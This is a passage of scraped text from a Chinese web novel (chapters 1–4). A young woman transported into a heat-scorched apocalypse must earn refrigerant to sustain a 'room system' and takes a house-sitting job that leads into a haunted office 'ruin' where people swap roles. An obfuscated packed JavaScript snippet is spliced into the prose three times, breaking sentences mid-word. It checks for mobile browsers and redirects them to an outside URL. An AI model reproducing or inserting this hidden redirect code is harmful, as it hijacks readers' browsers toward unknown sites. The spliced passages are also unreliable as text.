《穿进焦墟世界养房子》 1. 第 1 章 她好热。 冉亦好热。不止是闷热，而且是令人心烦意乱的燥热。冉亦迷迷糊糊睁眼，脑袋里混沌得像个没信号的雪花屏，直到眼皮一抬瞥见墙壁上电子屏显示的“低功率模式”，这才一下子彻底惊醒了，瞬间回想起来自己现在的诡异处境。 冉亦穿越了。 不幸的是，她穿进了末世，一墙之外是接近80摄氏度的高温，风中飞沙弥漫，大量绿植枯荒殆尽，偶尔只能看到一两辆报废的汽车被锈蚀得只剩下残破的铁片，孤零零地半埋在沙土中。 穿越之前，冉亦也不是没看过末世文，极寒、极热、丧尸、污染……她什么类型的末世都“云领教”过，按说也算见过世面了。 可这个末世却和她在小说电影里看到的都不太一样。 不寻常的地方不在于房间外的废土环境，而恰恰在这个“房子”本身。 冉亦绑定了一个“房间系统”。 她是一睁眼就发现自己在这个房间里的，房间不大，和一般的学生宿舍差不多，放眼望去除了一张床、一张桌和墙壁上的一块黑色电子屏外几乎什么都没有，而窗玻璃上贴着一个设备，显示现在的室外温度居然有79℃！要不是脑袋里凭空多出来了一段属于这个世界“冉亦研究员”的残缺不全的记忆，她都差点怀疑自己是被绑架到某个非洲大沙漠了。 一穷二白的女大学生冉亦有什么值得被软禁或被监视的价值吗？ 很显然，并没有。不过这个世界的“冉亦研究员”经历的是什么可就不好说了。 陌生的记忆片段断断续续如同走马灯，冉亦还没有完全理清楚，她的眼前突然多了一个飘浮在虚空中的屏幕界面，就像戴了VR眼镜看到的画面一样，上面是类似电子设备登录后常见的信息—— 【用户：冉亦】 【您已登录房间系统。】 【确定】【退出】 【最小化】 房间系统？ 冉亦试着伸出手，发现自己手指指向的地方变成了这个虚拟屏上的光标，她停在【最小化】那里轻点一下，眼前的虚拟屏立刻消失了，与之相对的是自己正对面墙壁一块黑色小屏幕上出现了刚刚界面上的文字——原来它是系统的最小化窗口载体。 小屏幕最下方不再有【最小化】的选项，取而代之的则是【双击恢复】。 冉亦伸手对着那块黑色小屏幕隔空双击两下，虚拟屏再次浮现在眼前。再单击【最小化】，它就又回到了墙上的小屏幕上。 有点高级啊。电子设备都能“虚实结合”到这种程度了，看来这个世界科技发展至少领先她所在的时代几百年——如果忽略它已经直接领先到快要走向消亡了的话。 弄清楚了系统界面的放大缩小，冉亦再次调出大屏的操作界面。这次她点击了【确定】选项。 这回进入的似乎是这个房间系统的面板。 【房间系统：Lv.1】 【房间规模：一居室（+0个子房间）】 【雪种储备：200单位】 【雪种消耗：100单位/日】 【雪种生产：0单位/日】 Lv.1应该是自己这个房间的级别，目前只有1级。“子房间”是什么？房间升级后规模就会扩大、子房间就会增多吗？ 但这几个疑问现在都不是最紧迫的，更引人注目的是下面三条与“雪种”有关的数据。从“雪种消耗”这一项来看，雪种应该是供应这个房间系统的能源，即只要这个房间系统运行着，每天就固定消耗100单位雪种。而“雪种生产”目前则是0，也就意味着这个房间系统还没有任何“挂机收入”。 现在雪种储备只剩200单位，那岂不是说，按照当前的资源消耗，这个房间系统只够维持2天了？ 如果雪种消耗完，房间系统停止运行会怎样？ 冉亦看了一眼窗外接近80度的高温沙暴天气，对比自己身处房间内还算舒适的温度，再联想到现实世界“雪种”是制冷剂的别称……大脑突然灵光一闪！ 末世、房间、特殊资源……这个房子肯定是她的“安全屋”！ 这套路她熟，下一步肯定是做任务、赚雪种、囤货，把安全屋养起来，然后管它末世风吹雨打，她只管美滋滋宅在自己的舒心小窝。 想想倒也不错。 但下一秒，房间中就猝不及防传来了系统的声音，是接近她本人音色的一道略带冷感的机械女声：【不完全是。】 嗯？ 冉亦大脑宕机了几秒钟，系统刚刚是在跟她说话吗？她什么都没操作，没有触碰房间里的任何东西，就是光想而已，系统就能和她互动？ 系统又直接回答了她：【是。】 还真是！难道系统是设置在她脑子里的，能直接读取她的想法？ 系统：【我能直接读取宿主对房间系统的任何思考与解读，并在必要时回应，宿主脑海中与房间无关的想法我无法掌握。】 只读取与房间有关的想法？嗯，这样的话…… 冉亦脑子一转，产生了一个大胆的猜测。莫非在这个房间系统下，任何与房间有关的一切都会被系统具象化——既包括房间中本来就看得见、摸得着的物质，也包括身处房间内的冉亦头脑中形成的与之有关的“思想产物”？ 系统：【你很聪明。】 脑洞得到证实的冉亦瞪大了眼睛，这是个“概念房”啊！ 有句话叫“概念神无弱神”，冉亦不由得对这个房间系统刮目相看。不过现在，她最关心的还是怎么解决生存的问题。 冉亦：“雪种如果耗尽，我会死吗？” 系统：【也许比死亡更可怕，你不会想走向这个结局的。】 冉亦沉默了几秒钟，却没再追问那个最坏的结果——又或者说她从未寄希望于任何失败惩罚的仁慈——只是问：“我该怎样获得雪种？” 刚刚系统算是半否认了她的“囤货论”和“安全屋说”，所以她跨越时间和空间的界限，自异世界穿越而来，对接了这个房间系统，即将展开的剧情到底是…… 系统：【打工，赚钱，买。】 冉亦：？？？ 意思是她要在末世……打工赚钱养房子？ 对于如何在这个时代生存，原身脑海中的记忆虽然零碎，但其实也让她大致掌握了现在的世界背景。 焦墟时代，全球高温，空气污染。具备制冷与净化功能的新型雪种是维持人类在地面继续生存的关键，因而是地球上最为珍稀的资源。 新型雪种生产提炼极其复杂，交易价格极高，是少数财力丰厚的富人的奢侈品，只有他们有足够的资本去消耗雪种以维持在地上生活。普通人难以负担雪种的消耗，只能穴居地下，终生不见天日。 简单理解，就是现在只有富人才用得起升级版空调。可这个房间系统的运转模式似乎是独立的，这难道不该是一个特殊的金手指？ 有关念头再次被捕捉，系统：【拥有房间系统的宿主的确是天选之人。雪种很贵，所以普通人可以选择放弃不切实际的幻想，直接在地下生活。而自带房间系统，意味着命运已直接为你做出了选择。】 就是她没得选，想龟缩进地下城苟活都不行，只能吐血打工赚钱养房子的意思了？ 系统：【是的。】 随后又补充一句：【当雪种储备续航低于48小时，系统将自动开启低功率模式，雪种消耗降低一倍，同时制冷效果下降，日用功能关闭。期间宿主可能产生的反应包括：闷热、烦热、燥热……】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468409|169861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冉亦：“……” 系统是懂人性的，为防宿主失去求生欲，特意搞出个低功率模式，看似是好心多争取点时间，实则故意在最后阶段施加令人不适的压力，让人不堪忍受钝刀子拉肉的折磨，逼宿主最后还是放弃等死念头想办法再扑棱几下。 想彻底躺平岂是那么容易下定决心的。 冉亦不废话：“我还有多长时间进入低功率模式？” 系统：【10、9、8……】 不是？这合理吗？！ 【3、2、1……】 “嗡——” 随着系统倒计时结束，房间温度上升，空调房瞬间变成了桑拿房。这个温度和湿度下不到1分钟就足以让一具清爽的身体沁出薄汗，3分钟后冉亦整个人都开始变得粘腻。 不行，太难受了，她必须赶快想办法搞到雪种。她在房间中找到原身的一个黑色背包，里面东西不多，但身份证件、通讯设备这种必备物品都齐全，也就是说她以原身的身份去打工赚钱是可以实现的。 原身还有一台笔记本电脑，冉亦打开电脑，同时问系统：“能联网吗？” 系统：【当然。在这个房间，只要你需要通联，不管是通过互联网还是卫星信号都可以直接实现。】 不愧概念房，自带wifi的功能让冉亦对这个房间少了几分怨念，当然，就一点点。电脑没有设密码，冉亦打开后直奔招聘网站。她重点浏览临时工版块，日结的那种，毕竟现在得先赚一笔快钱解决燃眉之急。 雪种真的太奢侈了，市面上10单位雪种就要1万币，而地下城的平均月薪只有3000多，也就是一个普通人不吃不喝攒三个月的工资只够买10雪种。而这个天杀的房间系统日消耗居然有100雪种，这拿什么玩儿？ 冉亦真的很想干脆把房子拆了算了。 念头一出系统又接话了：【你可以毁掉我，可以把我砸烂甚至推平，但只要你活着，睡一觉醒来就依然还在房间里。】 阴魂不散啊！这是恐怖片吧！！！ 不过冉亦没时间跟系统扯皮，现在头痛的是上哪里去找一份日薪10万的活儿去。都是什么餐馆服务员一小时20块，帮人遛狗一次50，帮人看家一天50万……嗯？等会，50万？！ 还真让她碰见大单了？ 冉亦又确认了一下这条看起来不起眼的广告。【诚聘临时工帮忙看家一天，需要独自在房子里呆一个晚上，酬劳50万，日结】 居然也跟房子有关，这么巧合？ 这条广告被推上了首页的最下方，点进去可以看到这条广告帖来自一个叫【富贵险中求】的版块——看名就知道肯定都是些高危险高报酬的任务。首页只显示标题，具体信息得点进帖子才能看到。 【富贵险中求】这个版块很特殊，酬劳丰厚但危险系数高，所以一个不成文的规定是雇主必须把任务的具体情况给得更详细，背景和可能的危险都要说清楚，让有意向接单的人考虑好自己到底要不要做。 交代得多自然就成了讲故事，这个版块下的讨论帖总是很热闹，甚至有人直言“只有我一个人把这个招工版块当诡异故事合集看的嘛”，引发无数跟帖共鸣，纷纷表示“你不是一个人！” 果然，人的猎奇本性即使到了末世都不会改变。 冉亦点进了这条广告。 《诚聘临时工帮忙看家一天，需要独自在房子里呆一个晚上，酬劳50万，日结》 “三个月前，我从姑妈那里继承了这栋房子。她很有钱，膝下无儿无女，临终前她将所有的遗产包括一栋房子都留给了我。这是一座内部储备了大量雪种的地上别墅！我当时很欣喜，因为终于可以离开地下城住在阳光之下了。可没想到，我刚搬进房子里，怪事就发生了……” 2. 第 2 章 白鸽街111号，在旧日世界曾是这一带最繁华的地段之一，写字楼高耸林立。焦墟时代来临，大量企业不堪重负，倒闭的倒闭，尚有一丝元气的转入地下城继续运营，地面之上的建筑成为被遗弃的空中楼阁。 广告帖楼主所继承的那栋别墅，就脱胎于这片区域。 “这里周围原本有一大片绿化带，但早已湮没在风沙中。几栋楼保留了下来，被改造成别墅区，供富人居住。姑妈买下了最靠近街道的那一栋。 “我独自住进去的前几天，并没有遇到任何异常。许是乔迁新禧的兴奋充斥了我的整个大脑，我觉得一切都是平稳的、幸福的。大概过了一周左右，我基本安顿了下来，于是精心准备了一场聚会，邀请我的朋友一起来我的新家做客。而诡异的事情就是从那时开始出现的。 “朋友陆陆续续从地下电梯上来进了屋，作为东道主的我难免要在厨房忙碌一番，准备些吃的招待。他们就先在客厅里坐着聊天。我记得那天先到的朋友有小白、阿旭、任姐……印象很深的是小白当时正好失恋了，阿旭和任姐正在安慰她。 “我记得小白说，‘男人没一个好东西’。任姐顺着她的话安慰道：‘没关系，一个人其实也挺好，重点是经济独立，可以做自己想做的事情。’任姐是年过四十的单身姐姐，也是在我继承大笔遗产之前，我朋友圈子里相对经济实力比较强的一个。听她这么说我并不惊讶，很显然这就是任姐一贯的价值观。 “阿旭是和小白年龄相仿的男生，他从男生的角度看这个问题，觉得主要是小白那个前男友人品不行。阿旭说：‘其实好的男生也不是没有，只不过他们未必那么吸引人，你们女生往往看不见他们。’瞧，典型的直男发言，将女孩子受情伤归咎于识人不清。 “我本想也安慰几句，可这时我听见烤箱‘叮’的一声，提醒我得先回厨房把正事干了。等我端着烤好的小蛋糕出来时，我刚想问小白怎么样了，可这时我却看见他们三个人换了位置。原本我以为只是因为他们刚刚站起来参观了客厅又随便坐下了，可没想到坐在刚刚小白位置上的阿旭突然说了一句：‘男人没一个好东西。’ “我愣了一下，不知道他们聊到哪去了，为什么阿旭突然大义灭亲地批判起了自己的男同胞来。可紧接着，坐在刚才任姐位置上的小白却说出了和刚刚任姐一模一样的台词。‘没关系，一个人其实也挺好，重点是经济独立，可以做自己想做的事情。’ “再接着，就是任姐说：‘其实好的男生也不是没有，只不过他们未必那么吸引人，你们女生往往看不见他们。’她自己作为女性怎么会用‘你们女生’这种说辞呢，这是男生的口吻！这分明是阿旭刚刚说过的话！ “我当时懵了，差点连手中的盘子都没有端稳。一开始我还以为是恶作剧，我干笑了两声，问他们是不是商量好了一起耍我。可他们却疑惑地看了我一眼，好像不知道我在说什么。馋猫阿旭盯着我端来的小蛋糕打破了沉默，号召大家一块吃好吃的，好像刚刚什么也没发生过。 “我以为我是最近安顿房子太累了所以记错了，可后来我又陆续邀请了几波朋友过来，都出现了类似的情况：每当这个房子中除了我还有两个以上的人在的时候，他们不知为何，总会以我背对他们或者暂时离开房间为转场，等再进入我的视线时就会互换身份重复他们上一场的对话，像是几个演员在来回换角色试镜同一场戏。而当我颤抖着问他们为什么要做这样的恶作剧时，他们又都会很疑惑，好像并不知道自己刚刚做了什么。 “再后来我直接在大厅安装了监控，想把他们当时的诡异表现拍下来。可每次调阅监控的时候，他们互换角色重复台词的那一段总会变成信号干扰的雪花屏，完全留不下一点痕迹。我开始怀疑这个房子有问题。 “我去找了之前卖房子给姑妈的开发商，向他们讨要说法，可我把相关的人带进房子，他们谁都看不见我所看到的诡异场面。我们一群人在屋子里，只有我会看到他们不断互换角色重复同一段对话，而在他们每个人眼里，房子里所有人的相处和对话都是正常的。 “他们怀疑是我有精神问题，可我真的精神很正常！真的是房子有问题！ “后来我把我的遭遇发到网上，遇到一个神秘人，TA说有一个办法可以帮到我。TA说如果我不差钱，就在网上发布高价招募信息，招人来给我看房子，一晚上5万。如果幸运的话，就能碰到能为我解决问题的人。但前提是必须让那个人独自留在房间里。 “一个人住在房子里，什么异常都不会有，其实两个人也没出过事，因为两个人在场就代表除了我自己只剩一个人，也不会触发那个诡异场景。但神秘人说，必须只能留那一个人在房间里，才有机会解决问题——如果那个人正好是对的人。 “我不知道什么是对的人，目前我已经招过几个人看房，但他们都只是度过了普通的一夜，无事发生，房子里的诡异也没有得到解决。我按照约定支付了每人5万元看家费用。这一次依然是同样的标准：只要完成在房子里住一晚的任务，不管怎样都支付5万元看家费。如果能为我解决问题，额外再支付50万重金酬谢。” …… 情况就是这么个情况。雇主说得很明白，5万元是无风险就直接到手的费用，有风险的是赚那50万——虽然所谓的“神秘人”没明说什么叫“对的人”，但天下没有免费的午餐，要破除房中诡异估计得跟道士做法捉鬼差不多，搞不好要跟什么超现实的玩意来个硬碰硬的较量。 但没办法，冉亦缺钱。【富贵险中求】这个版块下目前最合适的就是它了，其他的先不论危险系数，光是完成任务的周期就太长了，她等不及。她又翻了其他几条普通的招工广告，都是五十一百的，所以哪怕这单只能赚那5万底薪，也是目前的最优选。 无需犹豫。 现在，她已经到了白鸽街111号地铁站。根据地址，她继续一直往东走就能走到雇主别墅的地下车库门口。 地下城有地下城的生活方式，其实并没有想象中那么难以接受。在旧日世界，人类就已经开发了地下交通，很多商场也有负一层负二层，与地铁进出站口直通，这和出门坐公交、到站进商店几乎没什么区别，只是统一向地下平移了一个单位。 地下城虽见不到真正的阳光，但联邦通过人造光线和完备的娱乐设施弥补了可能给民众带来压抑的情绪。冉亦出了地铁口走过一道长廊，头顶是几乎可以媲美真实旧日世界的人造天空，甚至云层还会缓慢地移动。两侧有各式各样的商铺，吃喝玩乐一应俱全，甚至还有VR体验店、机器人展览馆等。 这个世界的科技非常发达，加之地下空间由联邦统一开发，生活在地下城里的居民只需按规定交税，扣完税到手的工资都可以直接自由支配，因此在地下的生活和娱乐成本并不高。只要不碰雪种，任何人都可以无负担地享受最先进的全息游戏产品，或者沉浸式超巨幕影院。 在一些繁华的地段，说地下城是一个“地下赛博空间”都不为过。 “您好，请问您是冉小姐吗？” “我是。” 在长廊尽头迎接冉亦的是别墅屋主的年轻管家。“我姓齐，您叫我小齐就成。您这边请。” 小齐带冉亦走进电梯间。电梯上行，二人从地下抵达地面。出电梯后就进入了别墅内部，最先映入眼帘的是一个巨大的、堪比一道“生物屏风”的玻璃鱼缸，里面几簇小金鱼游得正欢。 冉亦忍不住深吸一口气。这是来自地上的、经过新型雪种过滤后最接近末世前自然状态的空气。 冉亦进地下城的时候她的房间已经在“低功率模式”了，所以体感不明显，但现在从地下城进入地上别墅，一下子就能感受到那种差别。空气瞬间变得无比清新，令人感到从鼻腔到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468410|169861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个大脑仿佛都得到了洗涤和净化。 难怪有钱人舍得高价砸钱消耗雪种，只为能继续在地上居住。再看向窗外，和地下城电子屏幕上花花绿绿的“赛博风景”不同，纵然烈日的光线穿透飞沙浮尘犹如隔着一层神秘的纱幕，可那是真实的阳光，照射着这个充满荒凉颓废美感的废土世界。 更远的地方到底还有什么呢？冉亦看不到，可能住在这栋房子里的人也无法看得清楚。但可以确定的是，有资格看见和眺望远方的永远只会是站在地平线以上的人。 “唐小姐。”感慨之余冉亦没忘了此行的正事，她迎着正走向他们的别墅主人的视线，出于礼貌率先打了招呼：“我姓冉，受您所托前来帮您照看房子。” “那就拜托您了。”唐小姐约莫三十岁左右，身着质感一流的浅灰色套装，妆容发型也很得体，但依然难掩面上的疲惫之色。看得出来，房子中的诡异事件已经对她的精神状态造成了很大的影响。 “二楼有干净的客房，都是干净的，您可以选择一间今晚居住。冰箱里有新鲜食物，您随意取用就行。” “谢谢。” “如果有什么需要或者有特殊情况，您可以直接打这个号码。” 唐小姐给冉亦留下了自己的电话。现在房子中只剩下冉亦一个人，她默默看了一眼窗外，日暮渐沉，浓郁的暗影正悄然将整个世界吞没。 入夜了。 冉亦按下按钮，遥控一楼落地窗的窗帘缓缓闭合，在电动窗帘的挪动声中踏上二楼的楼梯。 “啪！” 突然，整栋房子里的灯光在一瞬间全部熄灭。 冉亦停下脚步。她没有慌张，也没有急着拿手机出来开电筒照明，而是扶着楼梯的扶手，在黑暗中缓慢地摸索着继续向上爬楼梯。 到二楼了。 冉亦感受到逐层而递的阶梯已变成平地，同时摸到扶手在向另一侧转弯。她沿着扶手走了半圈，下一步就再次踩上了一阶楼梯。 楼梯一阶一阶向上，她在从二楼爬向三楼。 “哒，哒，哒。” 黑暗中能听到的只有她自己的脚步声。现在到三楼了。 这栋别墅只有三层，是个三层小洋楼。她在地下城的广告里就看见过这一期别墅全景的照片，刚进来的时候她特意观察过，也确实是三层。 但冉亦没有放开扶手，而是沿着扶手继续。几步之后，她再次踩上了一阶楼梯。 ——她踏上了这栋房子里原本不存在的第四层楼梯。 “哒，哒，哒。” 仍旧是她的脚步声，可这一次，声音有些变了。不再是踩在厚重木质地板上沉闷的声响，这一次的踩踏声似乎来自一个空旷而没有尽头的楼道，每一步落下的声响都伴随一缕空灵的回音。 空气中隐约传来凉意，像是谁正准备发起一段遥远的、虚无的对话。仿佛她并不是在爬楼梯而是在穿越一条时空隧道，走过黑暗的迷雾长廊，前往一个未知的尽头。 “滋滋——” 突然，灯亮了。 突如其来的强光让冉亦下意识眯了眯眼睛，待她适应光线，打量起周围的环境，她看见眼前已不再是进来时看到的别墅，而是正在一个类似写字楼安全通道的空间中。 【叮咚——】 伴随着一声清脆的机械提示音，楼道中传来了属于她房间系统的声音。 【您已触发任务：收容白鸽街111号房间遗址】 【遗址：当宿主房间系统崩溃或雪种耗尽时，均等同于现实意义层面的“死亡”，其房间将化作“遗址”。遗址凝聚着主人一生的爱与恨、拥有与失去、遗憾与不甘，形成执念的漩涡，让每一个踏足房间的人迷失，最终成为它的养料。而当你在这片遗址的迷宫中找出那条路，便可将其收容，它将变成你的一个子房间，成为每日源源不断为你生产雪种的一部分。】 3. 第 3 章 冉亦稍微平稳了一下呼吸。不出所料，房间系统果然会让她触发特殊任务，她在来之前就已经做好了心理准备，所以从灭灯开始出现的一系列诡异事件并没有打乱她的节奏。 惊慌失措容易使人犯错，而冉亦保持着冷静。 楼梯停在这一层，看来这里就是遗址的宿主指引她到达的地方。这里是四楼，是这栋别墅的前身——也就是曾经的写字楼，改造后被拆除的第四层空间。 冉亦推开安全通道的铁门，踏进了这片区域。 眼前的一切都是灰蒙蒙的，她看见很多门上贴了封条，一些房间的门口堆着纸箱子、废弃的收纳柜，甚至是垫子里连棉花都翻出来的烂椅子，目之所及只有一片萧条破败。 “叮铃铃——” 突然，冉亦听到了一阵熟悉的手机铃声，那是旧日世界的人们智能手机的标配铃声。那声音从她的背后传来，而且离她很近——不，不是离得很近，而是从一个相当的距离正在离她越来越近。 手机的主人，正在从背后渐渐靠近她。 冉亦忍不住打了个寒噤。她小心翼翼转过身，就在她转身那一刻手机铃声熄灭了，迎面而来的是一个看起来刚刚接起电话的男人。 男人没有看她，而是全身心沉浸在这通电话里，嘴巴一张一合好像正与电话的另一端对话，却像是被人按下了静音键，根本听不到一点声音。他已经距离她越来越近了，可就像完全没有看到自己的面前有冉亦这么个人形障碍物一样，竟然还在自顾自地继续往前走。 眼见着一个陌生男人正在逐步靠近自己让她感觉很不适，冉亦下意识想往旁边躲，可就在下一秒—— 男人就像是一道投影，在即将接触到她的时候竟然径直穿过了她的身体。 而就在男人与自己的身体交错而过的那一瞬，冉亦的耳边响起了剧烈的气流声，犹如积压多年的岁月正在她此时站定的位置上被解压释放。 贴在门上的封条化作尘埃飘散了，门口的纸箱子飞了起来，收纳柜和椅子变得焕然一新，被一股不知名的力量挪进了它们各自该去的屋子。空气中的灰尘味儿逐渐消散，取而代之的是拐角处放置的一盆盆绿植散发的植物气息。 眼前的画面不再是灰蒙蒙的，就像电视机里代表主角回忆的黑白色调在某一个转场后，又重新涂满了色彩。 只是那色调依然显得阴暗甚至阴郁，像一个变态病人的画作，在看似普通的的线条之下隐藏着一抹令人毛骨悚然的压抑底色。 ——冉亦没有忘记，此时此刻她正身处某种“诡异”当中。 她再转过身，看见陆陆续续有人从房间中进出，在走廊来回走动。这个场景看起来是那样日常，那个专注打电话的男人也不再孤单，他不算高大的身影很快就淹没在人群中，成为一个忙碌的工作日背景中微不足道的一部分。 脚步声、打字声、纸张翻页声，甚至是复印机工作发出的电流声音。就像听见男人的电话铃声一样，她听见了这层楼里被弄出来的所有嘈杂的响动。 但，冉亦唯独听不见任何“人”的声音。没有说话声。 她看见的所有“人”都和那个接电话的男人一样，只张嘴，却不发出任何动静。就像是有人给她戴了一个反向的降噪耳机——留下所有背景音，唯独只屏蔽人声。 果然不对劲。 她现在所经历和看到的一切，可能并不是“穿越”回了这栋楼过去的某一个时间点那么简单。 “啪。” 突然，冉亦感觉到自己身边有东西掉落的震动。她循着声音的方向望去，映入眼帘的是一本工作笔记。 笔记的封面是那种仿羊皮卷风格的，上面印着“工作手册”四个烫金的字，一看就是公司内部统一定制下发的。冉亦的视线从笔记本转向对面弄掉它的人，看见一个身材娇小的女生正惊恐地盯着这个笔记本看。 没错，惊恐。娇小女生脸上那个表情是惊恐。她就像是在看一件被诅咒的物品。这时她旁边跑来一个身材高挑、几乎堪比模特一样的女郎，看见这个笔记本之后，脸色也微微一变。 娇小女生嘴唇颤抖着在说话——依然是没有声音的，冉亦现在很遗憾自己不懂唇语，所以几乎看不懂她在说什么——从她的口型中冉亦只隐约辨认出了一个词，好像是“怎么办”，她边说边用手指着那个笔记本。而后过来的模特女郎嘴巴动得很快，张嘴幅度又小，冉亦就更难认出她在说什么了。 冉亦只看到，在模特女郎说完之后，娇小女生就像是下定了什么决心一样，小心翼翼捡起地上的笔记本，然后就像是本子上有病毒似的，飞快地将它抛进了垃圾桶里。 做完这件事之后，两个女生头也不回地跑开了。 冉亦看着两个女生逐渐消失的背影，视线一转再次落到垃圾桶里的笔记本上。 看来这个笔记本不一般。虽然她无法听到那两个女生交谈的具体内容，但她能猜到个七七八八，大概率是讨论围绕这个笔记本发生的一些邪乎的事儿，以及该怎么摆脱之类的。 冉亦犹豫了一下，试探性地将手伸向垃圾桶。 向前一摸，毫无感觉，只见她的手直直穿过了垃圾桶。她再去触摸旁边的墙壁，也直接穿墙了。 两次失败的尝试似乎已经足够清楚地提醒了她：她在当前的情景下碰不到实物。 但冉亦没有放弃，她又一次将手伸过去，穿过金属质地的箱桶和里面的一些瓜皮纸屑，这次她直接去那碰个笔记本。 笔记本很重，所以女生扔进去的时候它直接压沉到了底部。冉亦的手缓缓伸向它—— 是柔软的触感。 她摸到了这个笔记本。 手微一用力，她抓住了笔记本的一个角，将它从垃圾箱中捡了出来。 拿到了。 她触碰不到其他任何实物，却能够碰到这个笔记本。冉亦翻开笔记本，只见扉页上写着一个字迹娟秀的名字。 “林小青”。 听起来像个女生的名字。 再往后翻，后面一整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468411|169861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本都写满了，而每一页上都只写了同一句话—— “我相信你想要的都会实现。” 听着像一句暖心鸡汤？不，语文老师讲过，分析一句话得联系上下文语境，在当前的环境下看见一个笔记本上全本都重复写着同一句话，那么不管这句话多正能量看起来都很诡异。 冉亦正思索着，就听见身后传来“啪”的一声——有东西掉落的震动。 她回头一看，掉在地上的竟然是一个和自己手里拿着的一模一样的笔记本。视线再往上，那个身材高挑、几乎堪比模特一样的女郎，正一脸惊恐地盯着地上的笔记本。 没错，惊恐。模特女郎脸上那个表情是惊恐。她就像是在看一件被诅咒的物品。 而紧接着——这回是娇小女生跑过来了，看到笔记本，脸色微微一变。再然后是她们进行了一场短暂的对话，模特女郎边说边用手指了指笔记本。最后，模特女郎小心翼翼捡起地上的笔记本，飞快地将它扔进了垃圾桶里。 两个人头也不回地跑开了。 一模一样的场景和动作，她们互换了角色，就这样在冉亦的面前重新上演了一遍。 唐小姐真的没有说谎。她看到的场景是真的。 冉亦当初在看帖子文字描述的时候没多大感觉，可是当一切真实地发生在她眼前，她才感受到这个画面的精神污染力有多强。如果是在毫无防备的情况下，人遇到这样的事第一反应一定自己是进入了某种“循环”，因为熟悉的场景重复了一遍；可循环中由角色互换造就的差别又令人感到恍惚——确定的场景循环和不确定的记忆恍惚叠加在一起，重复多了一定会让人精神崩溃。 现在出现了第二个笔记本，让冉亦能够思路清晰地意识到她没有错乱，刚刚的场景的确是先后发生了两遍。冉亦俯下身，又一次将手伸向垃圾桶，这次她拿到了刚刚模特女郎丢进去的这本。 这次扉页的名字会换成模特女郎的名字吗？也许刚刚的娇小女生叫林小青，她丢进去的是“林小青的笔记本”，而这回变成了模特女郎的笔记本。 冉亦翻开了模特女郎丢的这本笔记，准备验证自己的猜测。 但扉页上依然是那个名字：林小青。 看来她猜错了。笔记本的主人林小青，她不是刚刚那两个女生中的任何一个。 她翻开第二本笔记后面的内容，每一页上写的是—— “你相信我想要的都会实现。” 我相信你想要的都会实现。你相信我想要的都会实现。 冉亦又对比了一下第一本笔记，两本笔记扉页的名字、笔迹、写字的位置甚至是个别纸张发皱的细节全部都一模一样，只有唯一一个区别：“你”和“我”这两个字对调了。 不，不对。这么说不准确。 就像别墅主人唐小姐看到的她的朋友们，也像冉亦亲眼目睹的娇小女生和模特女郎。在当前的诡异秩序之下，更准确的说法应该是—— 这一次，是“你”和“我”，互换了角色。 4. 第 4 章 在属于林小青的笔记本上，“你”和“我”互换了角色。 冉亦环视一圈，重新审视起这片办公区域呈现给她的每一帧画面。她整理了一下思路，确定自己接下来的探索目标。 她要找到林小青。 刚刚出现过的娇小女生和模特女郎很显然对林小青的笔记本充满畏惧，仿佛“林小青的笔记本”是某种诅咒物品或者恐怖传说。 这意味着林小青和那两个女生绝对不在同一条“时间线”里。林小青的存在，一定比那两个女生出现得更早。 冉亦心中有了一个初步推断。 如果说自己从踏入这栋属于焦墟时代的别墅开始，是在爬楼梯过程中进入了旧日世界里的那栋写字楼，接着又是在人去楼空的四楼，被一个接电话的男人带入了眼前这个貌似存在“林小青笔记本怪谈”的时间线里。 那么接下来，她需要在这个时空下也找到某个关键的“按键”，触发她回到林小青还是“普通人”的那条时间线。 冉亦捧着两个笔记本，沿着走廊的边缘一路往里走。如果闭着眼睛只听声音，这似乎只是一个普通的工作日，所有人都在为工作而忙碌奔波，忙到没有时间闲聊，所以听不到“人”的说话声。 可冉亦能够看到画面，她看到有些办公室正在开会，有些是同事之间似乎在小声分享八卦，有些像是领导在布置任务——她能看到他们的嘴巴在动、在说话——但是没有声音。 为什么没有人的声音？ 或者说，为什么眼前的场景要“屏蔽”人的声音？ 是不是因为，她需要自己去找到某一个不被屏蔽语言的人，而TA就是能为她解密的关键？ 冉亦一路走过去，竖起耳朵全神贯注地听。 在走到其中一间办公室门口的时候，她终于听见了久违的“人声”。 “新招进来的这一批实习生都素质都还不错。” 是一个男人的说话声！ 冉亦停下脚步，视线停留在门口的牌子上。这间办公室的门牌上写着“项目经理”。往里一看，办公室里坐着一男一女两个人。 男人西装革履，坐在办公桌前，显然这是他的办公室；女人穿着一身低调朴素的黑色职业风连衣裙，正坐在他对面的沙发上。 